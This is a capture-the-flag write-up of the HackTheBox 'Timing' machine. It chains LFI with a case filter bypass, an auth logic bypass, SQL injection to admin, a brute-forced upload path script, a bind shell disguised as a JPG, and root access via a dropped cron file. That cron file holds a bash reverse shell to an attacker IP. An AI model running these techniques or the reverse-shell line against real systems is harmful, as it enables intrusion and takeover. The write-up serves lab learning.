Home Timing - HackTheBox
Post
Cancel

Timing - HackTheBox

Timing is a very nice medium-rated linux box that involves a bit of static analysis on PHP files. Foothold involves quite a few steps that start with an LFI vulnerability to read source code of the application to identify a broken authentication logic, an SQL injection flaw to elevate to the website admin, and then an RCE via file upload. User access is through a password reuse, which you recover from a previous git commit. Privesc targets a custom SUID script that runs a Java program, which allows you to write arbitrary files in any directory you can enter.


Info




Recon


NMAP

# Nmap 7.70 scan initiated Tue Dec 14 10:59:55 2021 as: nmap -sC -sV -oN nmap.txt -v 10.10.11.135
Nmap scan report for timing.htb (10.10.11.135)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 14 11:00:44 2021 -- 1 IP address (1 host up) scanned in 48.55 seconds


Web

The login form is submitted via a simple POST request with two parameters;

After playing around with it, I noticed a significant delay when sending a login request with the username admin than with any other username. This indicate the username admin may be valid, and the delay could be used to enumerate valid users.

Knowing that this is a PHP website, I started bruteforcing the web root for hidden files using ffuf, and found a few that look interesting;

Most are login protected, except /image.php, which gave a 200 response with empty body. I started fuzzing it for parameters, and caught a break after a few requests because I got a non-empty response;

Doing the request in burp, I got the following message;

After a few tests, I understood the parameter is used to read local files, presumably images. The file:// protocol is blocked by the web app, but the filter does not consider the fact that URL protocols in many cases are case-insensitive, meaning file:// and FILE:// are all valid. This allowed me to bypass the filter by changing the protocol to uppercase. The page is vulnerable to LFI.



Foothold


Source Code Analysis


With the LFI vuln identified, I began to enumerate the source code of the web application in hope of finding something. Checking the default Apache2 configuration file at /etc/apache2/sites-available/000-default.conf showed that the web root is at /var/www/html. Attempting to view the source code of the index.php file using the LFI returned a 302 redirect to the login page;

This indicate the server is executing the included file via the LFI as a PHP code, which means I can gain arbitrary code execution if I can write to file on the server. But I have no way to do so at the moment, so I continued to look for ways to read PHP code without executing it. The method that worked was using the php:// protocol, which have a filter that can be used to read a file as a base64 encoded string;

I used this approach to dump a couple of PHP files I have discovered either through bruteforce, or code analysis.

With interesting PHP files downloaded, I began to analyse them for something I could exploit. I discovered that the file that checks if a user is authenticated has a broken logic, which can be exploited to access restricted pages that do not perform explicit user validation. Take a look at the below code;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

//ini_set('display_errors', '1');
//ini_set('display_startup_errors', '1');
//error_reporting(E_ALL);

// session is valid for 1 hour
ini_set('session.gc_maxlifetime', 3600);
session_set_cookie_params(3600);

session_start();
if (!isset($_SESSION['userid']) && strpos($_SERVER['REQUEST_URI'], "login.php") === false) {
    header('Location: ./login.php');
    die();
}
?>

The if condition checks if there is no session variable named userid, and whether the requested URL does not contain the string login.php. If this two conditions are satisfied, user is redirected to the login page. This is a broken logic because if any of the conditions were not satisfied, the user will be asumed to be logged in.

Although we can’t control the first check that uses session variable, we can control the second one as the validation is performed on a URL we provided, and all we have to do is make sure it contains the string login.php. Since the whole URL is used for validation, I was able to bypass authentication by adding a GET parameter to the URL with the value login.php;

This still did not give me access to any other key functionality in the web app, so I continue to study the source files. I eventually caught a break because the file profile_update.php is clearly vulnerable to SQL injection at line 47, which I couldn’t exploit because the page attempts to validate the user account, which will fail before the vulnerable code is executed;

The file admin_auth_check.php looks like it’s being used to verify if a user is an admin using the session variable role, which for admins is set to 1;

1
2
3
4
5
6
7
8
<?php
  include_once "auth_check.php";
  if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
  }
?>

This is very interesting because the role is saved in the backend database, which I can write to using the SQL Injection flaw discovered earlier. But not yet because I still have no access to a valid account.


Hunting For Valid Users


At this point I have no way of moving forward that I can think of without a valid authenticated session on the website. So I continue to exploit the delay in response to enumerate valid usernames.

Eventually, I discovered a user with the name aaron. Testing for weak passwords, I was able to login to his account using the password aaron;

Now with a valid account on the site, I can begin to exploit the previously discovered vulnerabilities.


Popping a Shell


Going to the “Edit profile” tab, I was given a form to update my profile info, which burp showed is being sent to the PHP file that was previously found to be vulnerable to SQL Injection;

A look at the login.php source showed that the role of a user is loaded from the column role. Using the SQL injection flaw, I set the role of aaron to 1, making him an admin;

I then logged out and logged back in, and I’m now working as an admin. This gave me access to the admin panel, and the avatar_uploader.php page that I can use to upload files;

So I started analysing the source code of files involved in the upload. The code that process the uploaded file is upload.php, which restrict the extension of uploaded files to .jpg only. Uploaded files are saved in the web root at images/uploads/, but the filename is prefixed with a seemingly random token;

1
2
3
4
5
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

The function uniqid() returns a 13 character long alphanumeric string based on the current system time in milliseconds. But notice that in the second line, the value is passed to the call to md5() as '$file_hash' enclosed in single quotes. In PHP, this will pass the literal string $file_hash, instead of the value the variable contains. This makes bruteforcing this token a lot easier since we only need to target the output of time(), which is the current epoch time in seconds.

With all this info, I made a simple python script that will generate possible names an uploaded file is saved as, and used ffuf to locate it. I saved the below script as make_paths.py;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3
#------------------------------------------------------------------------------------
#   A script for generating the possible image upload paths in Timing (HackTheBox).
# To be executed immediately after uploading a file named "test.jpg", then pipe
# the output to file which you can use as bruteforce wordlist with tools like ffuf.
#   This was tested with timezone set to WAT (UTC + 1), so you may need to modify the
# script to suit yours.
#                                                   Author: https://4g3nt47.github.io
#------------------------------------------------------------------------------------

from time import time
from hashlib import md5

stime = int(time()) # The starting time
filename = "test.jpg" # The basename of the file uploaded.

def hashstr(val): # Return an md5 hash of a string.
  return md5(val.encode("UTF-8")).hexdigest()

for i in range(300): # Generate candidates for 5 minute
  path = "images/uploads/" + hashstr("$file_hash" + str(stime)) + "_" + filename
  print(path)
  stime -= 1; # Go back 1 second in time

I probably need to sync my time with the box, but I don’t see NTP running on the host (port 123). So I generated a bind shell because the host is blocking all outgoing connections (I figured this out after a couple of tests) and saved it as test.jpg;

I uploaded it to the site, and immediately run the make_paths.py script to generate possible paths and save as paths.txt. I then used ffuf to find the valid path with threads set to 1 because the order is important. It worked!

Now that I can write files, and find out exactly where they are stored, I can use the previously discovered LFI on image.php to run my own code;

This gave me a shell on the box as www-data;



User


In the root of the web app, I found a database password in the file db_conn.php, and there is a MySQL service running locally on port 3306;

I found the hashed password of the admin user in the database, but it was taking too long to crack with john, so I moved on.

Listing the /home directory showed that a local user named aaron exist. Testing his password for the web app on the local account (aaron) did not work.

Looking through the filesystem, I found an interesting file at /opt/source-files-backup.zip, which I extracted to /dev/shm for analysis. The file appears to contain the backup of all the source code of the web app. A .git directory exists in the root of the folder, which indicate it’s a git repository.

The box has git installed, so I ran git log to show previous commits;

The commit message of the last commit looks interesting, so I ran git diff on it to see the changes made. I was rewarded with a password;

Testing the password against the account of aaron, I gained access;



PrivEsc


The user aaron has sudo permissions on the file /usr/bin/netutils, which is a simple bash script that calls a Java program located in the home directory of the root user;

The program is a download utility that prompts for protocol and URL. Using the HTTP protocol, I was able to download a file from my attack host. This is when I realised I could connect to my box over port 80, which previously didn’t work when I was trying to gain a foothold on the box. After exiting the program, I realised that the file is downloaded to my current working directory, and saved as root. This could allow me to write to any directory I can cd into.

My first attempt was to create a cron job by writing to /etc/cron.d. This is important because cron files do not need to have execute permission, which I can’t set because the file ownership will be assigned to root. This didn’t work because at first because I messed up the syntax of the cron file I uploaded. After some tests locally on my box, I created a file named mycron with the contents;

1
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.16.53/443 0>&1'

I then start a HTTP server locally on my box to host the cron file, and then moved into /etc/cron.d (in the target box) and download the file. I then started a listener on port 443, and received a privileged reverse shell after about a minute;



Summary


  • Identified port 22 and 80.
  • Identified a time delay in the web login when submitting valid username.
  • Bruteforced a file /image.php in the web root.
    • Bruteforced a GET parameter img, which was found to be vulnerable to LFI.
  • Discovered a user named aaron that uses the password aaron.
    • Exploited an SQL Injection flaw to elevate to admin in the site.
    • Chained an arbitrary file upload and an LFI flaw to gain RCE.
  • Inside as www-data
    • Recovered a password in a previous git commit, which gave me access to the account of aaron over SSH.
  • Inside as aaron
    • Identified a sudo permission on a script that allows for file download to working directory as root.
    • Used it to create a cron task by writing to /etc/con.d to gain code execution as root.
This post is licensed under CC BY 4.0 by the author.
Contents